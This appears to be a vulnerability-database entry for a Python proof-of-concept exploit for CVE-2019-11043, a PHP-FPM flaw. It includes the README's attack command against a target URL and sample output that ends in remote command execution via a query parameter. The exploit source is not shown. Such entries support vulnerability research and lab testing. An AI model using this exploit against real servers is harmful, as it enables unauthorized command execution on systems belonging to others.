CVE-2019-11043 PoC — PHP 缓冲区错误漏洞

Source

https://github.com/huowen/CVE-2019-11043

Associated Vulnerability

Title:PHP 缓冲区错误漏洞 (CVE-2019-11043)
Description:PHP（PHP：Hypertext Preprocessor，PHP：超文本预处理器）是PHPGroup和开放源代码社区的共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发，支持多种数据库及操作系统。 PHP中存在缓冲区错误漏洞。该漏洞源于网络系统或产品在内存上执行操作时，未正确验证数据边界，导致向关联的其他内存位置上执行了错误的读写操作。攻击者可利用该漏洞导致缓冲区溢出或堆溢出等。以下产品及版本受到影响：PHP 7.1.33之前版本的7.1.x版本，7.2.24之前版本的7.2.x版本，7

Description

Python exp for CVE-2019-11043

Readme

# CVE-2019-11043
Python exp for CVE-2019-11043



```
You can use build environment from https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
```



Usage：

```
python3 main.py -u http://ip_to_page/index.php
```



If you success, you will see:

```
Base status code is 200
qsl:1760 with status code 502
The target maybe vulnerable, extended candidates is [1750, 1755, 1760]
Attack params found: --qsl 1755 --pisos 6 --skip-detect
Trying to set "session.auto_start=0"
Start attack!
Exploited! use "?a=/usr/bin/yourcommand"
Clean up /tmp/a...
Done
```



Reference:

```
https://github.com/neex/phuip-fpizdam
```

File Snapshot


 [4.0K]  /data/pocs/71f73379a714bbd33dd5235bdb151a4de3409321
├── [4.0K]  detect.py
├── [2.5K]  main.py
└── [ 667]  README.md

0 directories, 3 files

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